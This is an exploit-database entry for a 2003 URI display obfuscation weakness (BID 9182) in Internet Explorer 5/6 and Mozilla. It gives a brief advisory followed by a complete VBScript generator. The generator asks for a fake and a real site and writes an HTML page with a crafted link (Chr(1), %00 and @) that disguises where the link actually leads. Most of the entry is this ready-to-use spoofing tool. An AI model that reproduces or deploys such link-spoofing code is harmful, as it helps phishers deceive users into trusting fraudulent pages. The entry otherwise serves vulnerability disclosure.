Internet Explorer 5/6,Mozilla 1.2.1 URI Display Obfuscation Weakness (1)

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Internet Explorer and Mozilla URI Display Obfuscation Weaknes

                                                source: http://www.securityfocus.com/bid/9182/info

A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.

An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.

On Error Resume Next

PromtStart = &#34;Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows&#34; _
& &#34; platforms?&#34; & vbcrlf & &#34;(URL Obfuscation - http://www.securityfocus.com/bid/9182)&#34;

Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,&#34;URL Obfuscation Web Page Creator&#34;)

If Ok2Run = vbyes Then
	Do While strFileName = &#34;&#34;
		strFileName = InputBox (&#34;Enter the name of the web page file you want to create&#34;,&#34;File Name&#34;,&#34;TEST.HTML&#34;)
	Loop
	Do While strSpoofSite = &#34;&#34;
		strSpoofSite = InputBox (&#34;Enter the name of the site you want users to THINK they&#39;re going to:&#34;,&#34;Spoof Site&#34;,&#34;atkins.com&#34;)
	Loop
	Do While strRealSite = &#34;&#34;
		strRealSite = InputBox (&#34;Enter the name of the site users WILL go to when they click on the link:&#34;,&#34;Real Site&#34;,&#34;www.mcdonalds.com&#34;)
	Loop
	Do While strLinkText = &#34;&#34;
		strLinkText = InputBox (&#34;Enter the text you want to appear in the link:&#34;,&#34;Link Text&#34;,&#34;Go to the Atkins Site&#34;)
	Loop
	Err.Clear
	CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
	If Err.Number = 0 then
		MsgBox &#34;Your exploit page has been saved to C:\&#34; & strFileName & &#34;.&#34;,vbokonly + vbinformation, &#34;Script Complete&#34;
	Else
		MsgBox &#34;An error occured (&#34; & Err.Description & &#34;)saving your exploit page to C:\&#34; & strFileName & &#34;.&#34;,vbokonly + vbcritical, &#34;Script Error&#34;
		Err.Clear 
	End if
Else
	MsgBox &#34;Script canceled.&#34;,vbokonly + vbcritical,&#34;URL Obfuscation Web Page Creator&#34;
End If

Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
	Set fs = CreateObject(&#34;Scripting.FileSystemObject&#34;) 
	Set a = fs.CreateTextFile(&#34;c:\&#34; & strFileName, True) 
	a.WriteLine(&#34;&#60;HTML&#62;&#34;) 
	a.WriteLine(&#34;&#60;TITLE&#62;Exploit Page for BID 9182 (http://www.securityfocus.com/bid/9182)&#60;/TITLE&#62;&#34;)
	a.WriteLine(&#34;&#60;BODY&#62;&#34;)
	strExploitLine = &#34;&#60;A HREF=&#34; & Chr(34) & &#34;http://&#34; & strSpoofSite & Chr(1) & &#34;%00@&#34; & strRealSite 
	strExploitLine = strExploitLine & Chr(34) & &#34;&#62;&#34; & strLinkText & &#34;&#60;/A&#62;&#34;
	a.WriteLine(strExploitLine)
	a.WriteLine(&#34;&#60;/BODY&#62;&#34;)
	a.WriteLine(&#34;&#60;/HTML&#62;&#34;)
	a.Close 
End Sub
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1